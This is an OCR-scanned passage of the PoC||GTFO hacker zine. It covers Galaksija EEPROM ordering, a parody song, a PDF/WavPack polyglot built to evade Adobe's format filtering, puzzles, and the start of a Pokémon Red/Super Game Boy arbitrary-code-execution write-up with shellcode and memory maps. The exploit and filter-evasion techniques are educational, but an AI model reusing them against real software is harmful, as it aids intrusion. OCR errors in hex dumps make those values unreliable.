Microtechnica, A-8042 Graz, St. Peter Hauptstrasse 10, Austria.

Additionally, these are reliable distributors in England (Ambit
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International, 200 North Service Road, Brentwood, Essex, Eng-
land) and Germany (Biirklin, Shillerstrasse 40, 8000 Miinchen).

Programming the EEPROM

Without system programs written into the 2732 (ROM) and 2716
(Character ROM) EEPROMSs, the Galaksija computer is com-
pletely helpless. Readers who order the set from Microtechnica
will get the EEPROMs pre-programmed, completely ready for
installation. Readers who already have EEPROMSs or intend to
source them from other distributors, can send them to Galaksija
offices to be programmed.

This favor is completely free and will be done by MIPRO from
Belgrade,?® where the development of this computer was started.
You can start sending your EEPROMSs right away; they will be
returned at most after fifteen days. Put enough stamps for return
postage, the same number you needed to put on the envelope to
send it. Ensured letter is probably the safest way for EEPROMs
to get to our offices and back to you. EEPROMSs should be sent
to Galaksija, 11000 Beograd, Bulevar vojvode Misi¢a 17.

Emergency help

Less experienced builders should not be afraid that they will be
alone in their endeavor of building the Galaksija. In cooper-
ation with the Avala amateur-radio club from Belgrade, we've
organized a help line which will be available each day from five
until eight o’clock at phone number 011/402-687. At this same
club, we’ll conduct free computer building courses. You’ll find
detailed announcements in the February issue of Galaksija, even
before you are able to gather all the parts.

39This is not a mistake, two different MIPRO companies are helping our
action!
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Voja Antoni¢ (back) and his friend Jova Regasek assembling Galaksija
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9:11 Root Rights are a Grrl’s Best

126

Friend

The trolls are glad to lie for views
They delight in online duels.
But I prefer a man page that describes extensive tools.

A shell on the sys may be quite continental
But root rights are a grrl’s best friend.
sudo may be grand, but it won’t pay the rental
On your hosting fee, or help you with the disassembly.
RAM gets cold as exploits get sold
And we all mine bitcoin in the end.
But exploit or shell script,
priv escalation keeps its shape!
Root rights are a grrl’s best friend!

There may come a time when a hacker needs a lawyer,
But root rights are a grrl’s best friend.

There may come a time when a tech firm employer
Offers you stock options

But get root rights and your own machines.

Perks will fly when stocks are high,

But beware when they start to descend.

Machines will go offline and no more command line!
Root rights are a grrl’s best friend!

by sz



9:11 Root Rights are a Grrl’s Best Friend by bz

I’ve heard of servers where you get admin accounts,

But root rights are a grrl’s best friend.

And I think that machines that you admin yourself

Are better bets. If nothing else, big data sets!

Unix time rolls on, entropy is gone,

And you can’t get that file to prepend.

But big racks or botnets you get props for root logins!

Root rights, root rights, I don’t mean jail breaks,
Root rights are a grrl’s best, best friend!
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9:12 What if you could listen to this
PDF?

by Philippe Teuwen

To honor the tradition of polyglot releases, pocorgtfo09.pdf
is also an audio file featuring a 24-bit studio recording of fbz’
Root Rights are a Grrl’s Best Friend, which you can enjoy with
MPlayer or VLC.

There are some official ways to embed an audio file in a PDF,
such as IMTEX’s media9 package. Unfortunately, that would only
work in Adobe Acrobat Reader, provided that you also install
Adobe Flash—quite a reckless prerequisite nowadays. We are not
such bad neighbors, so we looked for alternatives.

Adobe, once again, is out to search-and-destroy polyglots, so
all common audio file types such as WAV, MP3, M4A, 3GP, AAC,
FLAC, are prohibited. Still, some less popular formats remain
undetected, up until now! Among the free lossless formats these
are True Audio (.tta) and WavPack (.wv).

TTA frame structure®® is unfortunately too rigid and doesn’t
allow much trickery to inject the start of the PDF within the first
kilobyte. It supports standard tagging by ID3v1/v2 and APEv2,
but prepending ID3 info is banned by Acrobat. The APEv2
specification,*! on the other hand, strongly recommends against
using it at the beginning of a file. In practice, audio readers don’t
support files starting with APEv2.

The WavPack file format*? is quite unusual, but far more
friendly to us: it doesn’t have a file header, but every block starts
with the same magic, wvpk. We can add new metadata blocks

40http ://en.true-audio.com/TTA_Lossless_Audio_Codec_-_Format_Description
41http ://wiki.hydrogenaud.io/index.php?title=APEv2_specification
42http://www.wavpack.com/file_format.txt
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9:12 What if you could listen to this PDF? by Philippe Teuwen

at the beginning of the file, and they support DUMMY sub-blocks,
meant for padding. So we can inject the beginning of a PDF,
but can we use those sub-blocks to inject the full PDF in our
WavPack? For each sub-block the theoretical size is 16 Mb, but
in practice MPlayer accepts a maximum of 1,047,548 bytes and
VLC 1,048,548 bytes and only one such sub-block per block. So
it’s possible, but it would be quite impractical to slice the PDF in
1Mb chunks. WavPack also supports ID3v1l and APEv2. ID3v1
is too limited (only ID3v2 allows PRIV frames), so we have to rely
on APEv2 to inject the bulk of the PDF (and ZIP, as usual) in
a large metadata frame.

We now have the ingredients to build a PDF/ZIP/WavPack
polyglot file. The final file structure, from the three perspectives,
is depicted on page 130.

All starred items contain a size or an offset that depends on
another part of the polyglot, so the file is built in two passes.
The first pass puts the elements together, and then the second
pass adjusts those fields in the WavPack and ZIP.

By the way, the artwork on page 126 is by Ange and myself,
derived from Vectorportal’s artwork licensed under a Creative
Commons Attribution 3.0 Unported License.*3

43http://wuw.vecteezy.com/people/23511-marilyn-monroe-vector
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9:13 Oona’s Puzzle Corner by Oona Réisdnen

9:13 Oona’s Puzzle Corner!

by Oona Rdisinen

Mystery Message

Peter sits in the front of the classroom. One day during class this
message was passed to him.

>MNO >04LnorF LEECrved>031 3I< vioo
LorFade . LE<ELI <E< 710> > dJdel
CEF 20 vnoma no ><rFav >E >no

Ul JLEUEAFT? <E<F I1>MN MNEIOVERFL
vVidel U0 JEEO rg Fo><ro.

Interpolation Colorization

Sadie really likes to convolve with this kernel. But she only took
with her a travel pack containing a limited set of discrete samples.
Use a colored pencil to connect the integer-valued dots (1, 2, 3,
...). Then repeat using a different color but include also the
decimal-valued dots. What do you see? How is this related to
interpolation and sampling rates? If you recognize the kernel,
how would you help Sadie generate even more points?

42
41 °
* .43
4.
5
2.1 6.2 63
1 . .22 *33 51 6.1 . 8
. . .23 . . 7 .
PN . .32 . . .73
12 13 3.3 *. 6 74 72
5.2
3.1 5.3
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Bit Flip Trouble

Mary keeps two copies of a precious file. But one of the copies has
been corrupted in memory due to a recent Rowhammer attack.
Can you find all the flipped bits in the samples below? Can you
even tell which one is the original?

0000000: 2550 4446 2d31 2e33 0a31 2030 206f 626a 2550 4446 2d31 2e33 0a31 2030 a06f 626a
0000010: 0a3c 3c20 2f54 7970 6520 2f43 6174 616c 0Oa3c 3c20 2f44 7970 6520 2f4b 6174 616c
0000020: 6£67 202f 5061 6765 7320 3220 3020 5220 6£f67 a02f 5061 6765 7320 3220 3020 5220
0000030: 3e3e 0a65 6e64 6f62 6a0a 3220 3020 6f62 3e3e 0ab5 6e64 6f62 6a0a 3220 3020 6f62
0000040: 6al0a 3c3c 202f 5479 7065 7320 2f50 6167 6a0a 3c3c a02f 5479 7065 7321 2f50 6167
0000050: 6573 202f 4b69 6473 205b 2033 2030 2052 6573 202f 4b69 6473 205b 2033 2030 2052
0000060: 205d 202f 436f 756e 7420 3120 3e3e 0a65 205d 202f 436f 756e 7420 3120 3e3e 0a65
0000070: 6e64 6£62 6ala 3320 3020 6£f62 6ala 3c3c 6e64 6£66 6alda 3320 3020 6f62 6ela 3c3c
0000080: 202f 5479 7065 202f 5061 6765 202f 5061 202f 5479 7065 202f 5061 6765 202f 5061
0000090: 7265 6e74 2032 2030 2052 202f 5265 736f 7265 6e74 2032 2030 2052 202f 5245 £36f
00000a0: 7572 6365 7320 3c3c 202f 466f 6e74 203c 7572 6365 7321 3c3c 202f 466f 6e74 203c
00000b0: 3c20 2f46 3120 3c3c 202f 5479 7065 202f 3c20 2f46 3120 3c3c 202f 5479 7065 202f
00000c0: 466f 6e74 202f 5375 6274 7970 6520 2f54 466f 6e74 202f 5375 6274 7970 6521 2f54
00000d0: 7970 6531 202f 4261 7365 466f 6e74 202f 7971 6531 202f 4261 7365 466f 6e64 202f
00000e0: 4172 6961 6c20 3e3e 203e 3e20 3e3e 202f 4172 6961 6c20 3e3e 203e 3e20 3e3e 202f
00000£0: 436f 6e74 656e 7473 2034 2030 2052 203e 436f 6e74 256e 7473 2034 2030 2056 203e
0000100: 3ela 656e 646f 626a 0a34 2030 206f 626a 3ela 656e 646f 626a 0a34 2030 206f 626a
0000110: 0a3c 3c3e 3ela 7374 7265 616d 0a42 540a 0Oa3c 3c3e 3ela 7374 7265 616d 0ad2 540a
0000120: 2f46 3120 3430 2054 660a 3430 2037 3030 2£f06 3120 3430 2044 620a 3430 2037 3030
0000130: 2054 640a 2853 7475 6666 2074 6£20 6275 2054 640a 2853 7475 6666 2074 6£20 6275
0000140: 793a 2920 546a 0a30 202d 3830 2054 640a 793a 2920 546a 0a30 202d 3830 2054 640a
0000150: 282d 2044 4452 3429 2054 6a0a 3020 2d38 082d 2044 4452 3329 2054 6ala 3020 2d38
0000160: 3020 5464 0a28 2d20 6861 7264 2064 7269 3020 5474 0a28 2d20 6861 7264 2064 7269
0000170: 7665 2920 546a 0ad5 540a 656e 6473 7472 7665 2921 546a 0a65 540a 656e 6473 7472
0000180: 6561 6d0a 656e 646f 626a 0a74 7261 696c 6561 6d0a 656e ed6f 626a 0a74 7261 696c
0000190: 6572 0a3c 3c20 2f52 6f6f 7420 3120 3020 6572 0a3c 3c20 2f56 6£6f 7420 3120 3020
00001a0: 523e 3ela 2525 454f 460a 523e 3e0a 2525 454f 460a

Hint: !noisiv oerets ruoy esU
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Hacker Jumble

Max has been trying to memorize some topical words for his
upcoming infosec specialist appearance in the news. But now
they’re all lying on his hotel room floor and he has trouble find-
ing them. How many words can you find? What has happened
to them during the night that makes them so difficult to see?

FVBGFNGUADOEZBIBTR RB
UFVSERCHTFEGENTFZ
NHNEAFDNGRRUNDNTFIXJ
PNJFNJJERBGSPTUVYV
FYRUEULBRZBYYNA
RQBEAVVJIZEEZRT RT RDA
RRLZEQURUNRETGSTLATB
FJIGYJAZNWQFDNTZCIJ
HBYNQHAZTCVANGTF
TRYQRUGZBYEGSQ QNG
0O AWRRCURYQVVVER
RFYHQFTFEGRIBPTFEA
VQOSERDNIXBDBGYBAQN
UNPXVATGRNZGAVA
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IN THE THEATER OF LITERATE DISASSEMBLY,

PASTOR MANUL LAPHROAIG
AND HIS MERRY BAND OF

REVERSE ENGINEERS
LIFT THE WELDED HOOD FROM

THE ENGINE THAT RUNS THE WORLD!
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10:1 Please stand; now, please be
seated.

Neighbors, please join me in reading this eleventh release of the
International Journal of Proof of Concept or Get the Fuck Out,
a friendly little collection of articles for ladies and gentlemen of
distinguished ability and taste in the field of software exploitation
and the worship of weird machines. This is our eleventh release,
given on paper to the fine neighbors of Washington, D.C.

Our sermon today, to be found on page 139, is a sordid tale
in the style of a Dickensian ghost story. Pastor Laphroaig in-
vites us to the anatomical theater, where helpless tamagotchis
are disassembled in front of an audience, for FUN!

Page 144 contains a delightfully sophisticated and reliable ex-
ploit for Pokémon Red on the Super GameBoy, starting from a
save-game glitch, then working forward through native Z80 code
execution to native 65C816 code on the host Super NES. They
do all of this on real hardware with scripted access to only the
gamepad and the reset switch!

Keeping up our tradition of shipping in funky file formats, this
PDF is a new polyglot! Page 190 contains the details for how
this PDF is also an exploit, loading Pokémon Plays Twitch in
the LSNES emulator.

Micah Elizabeth Scott is becoming a regular contributor to this
journal, and we eagerly await each of her submissions. Page 194
contains her notes on ARM’s replacement for JTAG, called Sin-
gle Wire Debug. Driving SWD from an Arduino, she’s able to
move the target machine like a marionette, scripted from literate
HTML5 programming with powerful new elements, such as a hex
editor.
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When we heard that Amanda Wozniak was contracted to re-
verse engineer a pregnancy test, but never paid for the work, we
quickly scrounged up five Canadian loonies to buy the work as
scrap. Page 205 contains her notes, and we’ll happily pay five
more loonies to the first use of this technology in a Hackaday
marriage proposal or shotgun wedding.

On page 220, Peter Ferrie shares tricks for breaking the copy
protection of dozens of Apple || games. When we told Peter to
keep his notes to six pages, he laughed and dared us to find tricks
worth cutting from his article. Accordingly, our cutting-room
floor is spotless and this article is the most complete collection
of Apple || cracking techniques in modern publication.

Travis Goodspeed has been playing with Digital Mobile Radio
(DMR) lately, a competitor to TETRA and P25 that is used for
amateur radio, as well as trunked radio for businesses and cash-
strapped police departments. Page 311 contains his notes for
jailbreaking the Tytera MD380’s bootloader, dumping all of pro-
tected memory, then patching its application to enable promis-
cuous mode. These tricks should also work on the CS700, CS750,
and a variety of other DMR handhelds.
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IMMEDIATE
DELIVERY

Domestic & Export
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10:2 Three Ghosts and a Little, Brown
Dog

a sermon by Pastor Manul Laphroaig

Rise, neighbors, and in the tradition of the season, let’s have a
conversation with spirits of the past, the present, and the future.
We will head to a disreputable place, a place of controversy where,
according to the best moral authorities, irresponsible people do
foul things for fun: a place of scandalous, wholesale wickedness
which must be stopped!

Yes, neighbors, we are heading to an anatomical theater, to
observe its grim denizens at their grisly pastime. While some
dissect carcasses, the rest watch from rows of seats. They call it
learning and finding things out—even though most of what meets
the eye looks like merely breaking things apart. They say they
are making things better—even curing diseases!—though there
are highly titled authorities with certified diplomas and ethically
approved methodologies who make it their business to improve
things “holistically,” without all this disconcerting breakage and
cutting things off. Truly, if this doesn’t beg the question “How is
this allowed?,” then what does?

There was a time, neighbors, when anatomy didn’t mean try-
ing to guess how a thing functioned by dissecting a specimen.
When Andreas Vesalius published his classic human anatomy at-
las with its absolute priority of dissection for learning what was
and what was not true about the human body, his fixation on
biological disassembly was a scandal. A proper anatomy book
was understood to include Aristotle’s four humors and a fair bit
of astrology; imagine how regressive Vesalius’ fixation on cut-
ting things apart to find their function must have looked! Even
when he became a royal court physician, other learned physi-
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cians called him a barber—for everyone knew that only barbers
and sawbones used blades. Until Victorian times, a doctor was a
gentleman, and a surgeon wasn’t. Testing the patient’s urine was
fine, but taking knives to one was simply below a proper doctor’s
station.

Vesalius’ dissection-bound atlas became an instant hit, though.
It turned out that going into specific techniques of dissection—
place a rope here and a pulley there—so that others would repli-
cate it was exactly what was needed; the venerable signs and
elements, on the other hand, not so much. Which did not save
Vesalius from having to undertake an emergency trip to far-away
lands for an obscure reason, dying in abject poverty on the way.
He died before the first dedicated anatomical theater was built
in 1594, by which time anatomy finally meant what he had made
it mean.

Ah, but that was then and now is now! The year is 1902,
and physiology is the latest scandal. Again, moral delinquents
and their supporters are doing something loathsome: vivisection.
Again, they come up with excuses: it’s all about finding out
how things work, they say; some kind of knowledge that makes
them different from the uninitiated, we hear. And even if there
was knowledge to be gained, could it really be trusted to such
an immature and irresponsible crowd? Stuck to their—mot so
innocent—toys and narrowly focused views, they can’t even see
the bigger ethical picture! They cater to and are occasionally
catered by truly objectionable characters—and then have the gall
to shrug it off. They talk about education, but who in their right
mind would let them near children? Too bad there isn’t a general
law against them yet, and the establishment is dragging its feet
(or even has its own uses for them, no doubt disgusting)—but the
stride of social progress is catching up with them, and, with luck,
there soon will be!
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That was the year of high court drama, a pitched battle be-
tween people who each believed themselves to embody social
progress against superstition. It saw rallies by socialists and riots
by medical students, scientists and suffragettes, British lords and
Swedish feminists—and a lot more, including its own commemo-
rative handkerchief merchandise. It is immortalized in history as
The Brown Dog affair, one so dramatic that even the Wikipedia
article about it makes for good reading. Incidentally, the exper-
iment involved led to the discovery of hormones.

So says the Ghost of Science Past, but we bid him to haunt
us no longer. There is another, more cheerful Spirit to occupy
our attention—the Spirit of the Present. This is a more cheerful
Spirit, involving pets only as cute pictures thereof—and lots of
them!—much to the relief of those who think neither Schrédinger
nor Pavlov would make good friends.

But this Spirit isn’t left without attention from our moral bet-
ters. What about the children? What about the lowlives and the
criminals whom we empower by our so-called knowledge? What
about the bullies, the haters, the thieves, the spies, the despots,
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10:2 The Little, Brown Dog by Manul Laphroaig

and even—the terrorists? Would a good thing be called exploita-
tion or pwnage? This new reality is so scary to some people that
their response goes straight to nuclear; they call for a Manhattan
project, but what they really mean is “nuke it from orbit.” To
some, it’s even about evil “techno-priests” hijacking “true social
progress”™—or at least it sells their books.

Nor is this Spirit’s domain devoid of court drama, even in our
enlightened times—although looking where we tend to fall on the
scale between Vesalius and Lord Alverstone’s Old Bailey, one
begins to wonder just where the light is going. No wonder the
Spirit of the Hacking Present looks somewhat frayed around the
edges.

Why wait for the Specter of the Future to make an appearance?
I say, neighbors, let’s make like 1594 at the University of Padua—
back when a university used to have quite a different place in
this game of ghosts—and have our own Anatomical Theater, a
Theater of Literate Disassembly!

Just as Knuth described Adventure with Literate Program-
ming, we’ll weave together the disassembled code of a live subject
with expert explanations of its deeper meaning.! (Of course the
best part might well be a one liner, but we’ll save the reader hours
of effort!) We’ll weave a log and a transcript into an executable
script that reproduces the cuts of a Master Surgeon, stroke by
stroke.

It is high time. We have been doing our dissections alone—
with none or few to watch and learn—long enough. Let other
neighbors watch your disassembly, show them your technique,
and let them get a good view and share the fun.

As the good old U. of Padua preserved its theater, so shall we!
And then perhaps the Specter of the Future will smile upon us.

lunzip pocorgtfol0.pdf adventure.pdf
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10:3 Pokémon Plays Twitch

by Allan Cecil (DwangoAC), Ilari Liusvaara (Ilari)
and Jordan Potter (P4Plus2)

E'9% 96 98 GAME FREAK inc.

For the Awesome Games Done Quick (AGDQ) 2015 charity
marathon we exploited a chain of unmodified Nintendo game
console components consisting of a Pokémon Red Game Boy car-
tridge in a Super Game Boy running in a Super Nintendo. We
plugged the latter into custom hardware posing as a normal con-
troller. In this seven-stage exploit, we corrupted a save file to give
ourselves 255 Pokémon, swapped Pokémon, and tossed items to
plant shellcode. We committed a series of atrocities using doc-
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Stage 0:

naming the
rival RxRx and
resetting while
saving to get
255 Pokemon.

twitch
QUICKH '

Stage 1: Swap Pokemon
and items to get rival's
name in items list, toss
items to form a button
reading payload, and
leave menu to execute it.

ENTERTAINME

Stage 2: Press buttons to
write  two command
packets in memory one
nibble per frame, overwrite
jump to execute.

Stage 4: At 3,840 bytes per
second (4 controllers of 2
bytes at 60 frames per
seconds), write a block
transfer loader into memory
and execute it.

Stage 3: Escape SGB, hang

Pokemon to stop music, Stage 5: Use block loader to
read a set number of transfer intended SNES
button presses 1 byte per, payload of variable length
frame to write a faster and execute it.

transfer  method  and
execute it.

—— Stage 6: Reset SNES to
clear state, execute
SUPER NINTENDD Twitch chat interface,

read text in 5-bit or 7-bit
, respond to
packets  to
display web view, make
Twitch chat say Hi, win
the Internet.
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umented command packets and ultimately broke into the Super
Nintendo’s working RAM, where we wrote our own chat interface
to display live contents of the Twitch chat and even a represen-
tation of a defaced website.

TAS'ing a Game to execute Arbitrary Code

TASVideos? hosts Tool-Assisted Speedruns of games that are cre-
ated using an emulator with speed controls such as slow motion
and frame advance, along with the ability to save and restore the
state of the game (or, rather, of the entire console) at any time.
TAS movie files consist of a list all of the button presses sent to
the console every frame from the time it is powered on until the
game is beaten. It aids our poor human reflexes, but it can do a
lot more—like arbitrary code execution!

The first run on the site to use this ability to execute arbitrary
code to jump to the credits of a game was Masterjun’s Super
Mario World run. Later, Bortreb used arbitrary code execution in
a run of Pokémon Yellow, marking the first time external content
was added to an existing game.

In late 2013, DwangoAC worked with Ilari and Masterjun to
present a run at AGDQ 2014 that programmed the games Snake
and Pong into Super Mario World on a real console using a replay
device (also known as a “bot”) from True. This was a huge success
and was covered by Ars Technica, but we knew that we could do
even more, which ultimately led us to the project described in
this article.?

%http://tasvideos.org

31t should also be noted that all recent AGDQ events have directly benefited
the Prevent Cancer Foundation which was a huge motivator for several
of us who worked on this project. The block we presented this exploit
in at AGDQ 2015 helped raise over $50K and the marathon as a whole
raised more than $1.5M toward cancer research, making this project a
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The Game Choice

We started with an end-goal of executing arbitrary code on a Su-
per Nintendo (SNES) using a Super Game Boy (SGB) cartridge
as the entry point. We initially planned to use Pokémon Yellow
based on Bortreb’s exploit in that game, but quickly discovered
that the SGB detection routine used by Pokémon Yellow is ex-
tremely broken and only worked on a real SGB by pure chance.*
After looking at other options, we chose to use the Pokémon Red
version, which uses a more reliable SGB detection routine that
gets us access to the full SGB palette, a custom border, and con-
sistent timing benefits we’ll discuss later.> Using Pokémon Red
also has another added benefit in that the entire game has been
skillfully disassembled.®

The Emulator

When we started this project in August 2014, the only emula-
tor capable of emulating an SGB inside of an SNES at a low
enough level for our needs was the BSNES emulator. Unfortu-
nately, although BSNES is very accurate at emulating an SNES,
it doesn’t do a very good job of emulating an SGB. The Gam-
batte Dot-Matrix Game Boy (DMG) emulator is likewise very

huge success on multiple levels.

4In brief, the detection routine is extremely sensitive to how many DMG
clock cycles various operations take; the emulator is likely slightly inaccu-
rate, which causes the detection to fail, but from looking at the behavior
it seems like it “just works” on the real hardware. This is sheer luck, and
the game developers likely never even knew it was so fragile.

51If the SGB BIOS does not find the special codes in the DMG game header
that indicate it’s an SGB-enabled game ($146 equal to $03), it locks
up the command channel until the game is reset, rendering any SGB
based exploitation impossible. See http://gbdev.gg8.se/wiki/arti-
cles/The_Cartridge_Header for more details.

Sunzip -j pocorgtfol0.pdf pokemon_plays_twitch/pokered-master.zip
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accurate, but is unable to emulate an SGB on its own. Ilari was
able to create a hybrid emulation core using BSNES to emulate
the SNES<+DMG interface chip while using Gambatte for DMG
emulation. This was a considerable undertaking, but in the end
the emulator was very usable, albeit somewhat slow, as properly
emulating the synchronization between the SNES CPU and the
DMG CPU is a challenge. Ilari continued to provide emulator
development and scripting support throughout the project.

The Hardware

We didn’t just want to exploit a game in the sandbox of a con-
sole emulator and call it a Proof of Concept. We wanted to do
the job properly and create an actual exploit that would work on
real hardware. Only one member of our team (DwangoAC) had
all of the required hardware in one place, namely an SNES con-
sole, an SGB cartridge, a copy of Pokémon Red, and the replay
device posing as a controller, also known as a “bot.”” Because
we wanted to stream data from an attached computer, we opted
to use an older, serial-over-USB connected device, namely True’s
NES/SNES Replay Device. This choice of hardware had a few
limitations but worked out well for the project in the end.

The Plan

We were unsure what kind of payload to create once we gained
the ability to execute arbitrary code on the SNES. Initially we
investigated methods of showing crude video, but abandoned it

"The term “bot” was originally used because it’s as if you have a robot
playing the game for you; DwangoAC later attached one of these replay
devices to a R.O.B. robot as shown in Figure 10.1 and after presenting
Pong and Snake on SMW, the name TASBot came to be associated with
the combination as described at http://tasvideos.org/TASBot.
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Figure 10.1: The Legendary TASBot
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after spending far too much time failing to increase the datarate
and running into limits with the processing speed of the SNES’s
65C816 CPU. An IRC discussion about Twitch Plays Pokémon®
led DwangoAC and P4Plus2 to brainstorm what it would take to
incorporate similar elements into our payload, and the concept of
Pokémon Plays Twitch was hatched—where a Pokémon character
enters a Twitch chat room and “plays” Twitch. In the end, we
took it to the next level by giving Red a voice in a chat interface
on the SNES and giving TASBot, the robot holding the replay
board, the ability to speak through espeak and argue with Red.
There’s much more to say about that, but let’s first get to the
point where we can execute arbitrary code!

8 A way of crowdsourcing gameplay by parsing commands sent over IRC.
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Figure 10.2: A Strange Rival
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Stage 0: Corrupting a save game.

Three to seven bytes per minute.

We start the game by creating a save file, giving ourselves
the default name of Red and naming our rival RxRxPt as shown
in Figure 10.2. We then save the game as in Figure 10.3, but
reset the console directly after it starts writing to the cartridge’s
SRAM. There is checksumming on most of the values in the save
file but at least one value has no checksum at all, namely the
byte at the start of the “party data” that stores the number of
Pokémon that have been caught. By some chance, this value
in SRAM (at 0xAF2C, or 0x2F2C when paged) is initially set to
FF, so we wait long enough for valid name data and a save file
header to be written before resetting. It is possible to do this
with human reflexes as the window is approximately 20 ms but
we opted to run a wire from our replay device to pin 19 on the
expansion port on the underside of the SNES. This allowed us
to trigger a reset by shorting the pin to ground, as shown in
Figure 10.3.°

9As with many exploits, the seed for this came from Bortreb’s Pokémon
Yellow exploit, which itself came from earlier discoveries of others. Mas-
terjun adapted the exploit for Pokémon Red using the BizHawk DMG
emulator and DwangoAC took this information and made the Stage 0
and Stage 1 movie file in LSNES.
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3431B
3432 A
3433
3434
3435
3436
3437 FLAYER RED

M% BADGES [\]

M% POk EDEX o

3442 e

3443 [»ES O o0
34445755 1+ =2 ARLRO 125 YS5 T v+ ARLRO1Z5BY55 1+ ~ARLRO1EER Y551 +=*AXLRO1Z
3445 MO = OPTION =

3446 _|_ =
3447 L

3448
3443 Would you like tao
3450
3451 S8WE the game™
3452
3453
3454
3455
3456Reset console
3957

Figure 10.3: Corrupting a save game by pressing A to save, then resetting 24 frames later.
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Stage 1: Writing Z80 assembly by swapping

Pokémon and tossing items.

Thirty bytes per second

After loading the game but before changing anything, the ini-
tial state of the GBBUS memory map is held in memory at

0xD163.10

0xD163 Number of Pokemon, corrupted to OxFF in Stage O.
0xD164 Pokemon IDs (1 byte each), corrupted to OxFF.

0xD16A Sentinel byte (OxFF)

0xD16B Pokemon Data. 44 bytes each, all corrupted to OxFF.

0xD273 Pokemon original trainers; all are corrupted to OxFF.

0xD2B5 Pokemon nicknames; all are corrupted to OxFF.
0xD2F7 Pokemon owned bitmap (19 bytes); all zeroes.
0xD30A Pokemon seen bitmap (19 bytes); all zeroes.

0xD31D Number of items; initially O

0xD31E Items array; each entry is two bytes,

item count. After the last item,
(Initially located at O0xD31E.)

0xD347 Money as Binary-Coded Decimal. (Initially $3000.)

0xD34A Rival’s name. (Set during Stage O,
91 F1 91 F1 E1 50 00 00 00 00 00.)
0xD355 <misc data>

0xD36E Map level script pointer. (Initially BO 40.)

an item ID and
there is an FF.

We want to adjust some of these values to create a payload
described in the next section, and the game conveniently provides

three ways to arrange the state of memory.

e Swapping Pokémon: The game implements moving Pokémon
around the list by swapping the raw contents of entries in
the ID, Data, Original trainer, and nickname tables, which
happens to offset data by an odd amount. Since we have

10The same values can be found in the GBWRAM region at an offset of
-0xC000, so the value for 0xD163 in GBBUS (which isn’t visible in the
LSNES memory editor) can instead be found at 0x1163 in GBWRAM.
GBBUS addressing is used throughout for consistency with existing re-

sources such as the pokered disassembly.
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255 Pokémon instead of the 141 the game was originally
limited to we can swap around the contents of anything in
WRAM above 0xD164.1!

e Tossing items: Throwing away unwanted items decrements
the second byte in an item’s two-byte ID / Quantity pair.
Unfortunately, there are some items that can’t be tossed,
either because the game prevents tossing them or because
doing so softlocks or crashes the game.

e Swapping items: Items can be swapped around in the list
of items, which normally just swaps the item data. If you
swap two of the same item, the game tries to merge them
by adding their counts and then shifting the item list. The
shift adjusts the item count and writes a new sentinel item
ID. (It doesn’t touch either the item count in that slot or
the old sentinel.)

Since we don’t have any items, let’s get some! Swapping the
first Pokémon with the tenth causes the FF’s located at 0xD16B
through 0xD196 to be written to 0xD2F7 through 0xD322. Per
the memory map, the number of items is located at 0xD31D and
this is changed along with lots of other nearby addresses from 00
to FF, which causes the game to think we have 255 items. We
eventually enter the item menu and proceed to toss a number of
safe items, but—because we can only ever decrement the quantity
byte in each item’s ID/Quantity two-byte pair—we have to go
back and swap Pokémon to make what was once an ID into an
item count and vice versa.

In order to avoid softlocking the game, we have to walk through
the sequence in a very particular order. There are several items

11This means the Pokémon data now extends past end of WRAM, and in
fact the WRAM should in effect loop around, although this isn’t used.
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Address ## ID ## ID ## ID ## ID ## ID ## ID ## ID

OxD34A 00 91 F1 91 F1 E1 50 00 00 00 00 00 00 00
Pokemon 1 & 10 >datastart = 0xD349
item 3 & 5 =>datastart = 0xD347
Pokemon 3 & 6 =>datastart = 0xD331
item 3 © 4 >datastart = OxD32F
OxD32F 00 91 F1 91 F1 E1 50 00 00 00 00 00 00 00
toss 1 item
OxD32F 00 91 FO 91 F1 E1 50 00 00 00 00 00 00 00
toss 1 item
OxD32F 00 91 FO 91 FO E1 50 00 00 00 00 00 00 00

OxD32F 00 91 FO E1 50 91 FO 00 00 00 00 Q0 _00 00

OxD32F 00 91 FO 00 00 91 FO 00 00 00 00 E1 50 00
toss 24 items
OxD32F 00 91 FO 00 00 91 FO 00 00 00 00 E1 38 00
toss 12 items

OxD32F 00 91 FO 00 00 91 FO 00 F4 00 00 E1 38 00
(same ID swap)

OxD32F 00 91 FO 00 63 91 FO 00 91 00 00 E1 38 00

toss 20 items

OxD32F 00 91 FO 00 4F 91 FO 00 91 00 00 E1 38 00
Pokemon 4 & 5 =>datastart = 0xD324
(even address, so now ID and ## are shifted)
Address ID ## ID ## ID ## ID ## ID ## ID ## ID ##

0xD324 00 91 FO 00 4F 91 FO 00 91 00 00 E1 38 00
toss 45 items
0xD324 00 91 FO 00 4F 91 FO 00 91 00 00 E1 38 D3
toss 20 items
0xD324 00 91 FO 00 4F 91 FO 00 91 00 00 CD 38 D3
toss 222 items
0xD324 00 91 FO 00 4F 91 FO 00 91 22 00 CD 38 D3
toss 8 items
0xD324 00 91 FO 00 4F 91 FO F8 91 22 00 CD 38 D3
toss 27 items
0xD324 00 91 FO 00 4F 76 FO F8 91 22 00 CD 38 D3
toss 8 items
0xD324 00 91 FO F8 4F 76 FO F8 91 22 00 CD 38 D3
toss 27 items
0xD324 00 76 FO F8 4F 76 FO F8 91 22 00 CD 38 D3

Pokemon -8 & -7 =datastart = 0xD350
Pokemon 3 e 4 =[0xD35B] = 00
Pokemon 4 o 5 =>[0xD366] = 00
Pokemon 5 e 2 =datastart = 0xD366
Pokemon 2 & -11 >[0xD2CC] = 00
Pokemon -11 & -9 =>[0xD32E] = 00
item 4 o 5 >datastart = 0xD362

0xD362 00 76 FO F8 4F 76 FO F8 91 22 00 CD 38 D3

Figure 10.4: Pokémon and items are re-arranged in memory to
create shellcode.
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OxD362 00 76 FO F8 4F 76 FO F8 91 22 00 CD 38 D3

LR35902 shellcode at 0xD361:

30 00 JR NC,0 // nop
mwas—’//76 HALT // wait for frame
starting money FO F8 LDH A, (OXFS) // load input
4F LD C,A // save in C
76 HALT // wait for frame
FO F8 LDH A, (0xF8) // load -input
91 SuB C // decode opcode
22 LD (HL+),A // stage2[HL++] = A
00 NOP

CD 38 D3 CALL 0xD338 // call stage2

Figure 10.5: Early Shellcode from Swaps

that the game refuses to toss, some that crash the game if you try
to toss them, some that can only be thrown once—after which all
items afflicted with this condition can no longer be tossed. Some
will crash the game simply by being in the menu even if you never
even select them.

To work around these pitfalls, we prepare memory by doing
several Pokémon and item swaps followed by an initial round
of tossing, we go back to swap Pokémon in a way that realigns
memory so we can now toss what used to be item IDs. We swap
several Pokémon to relocate the Stage 1 code and create a swath
of 0’s in front of it, and at the very end we swap two identical
items to shift memory two spaces back. That’s a lot to take in in
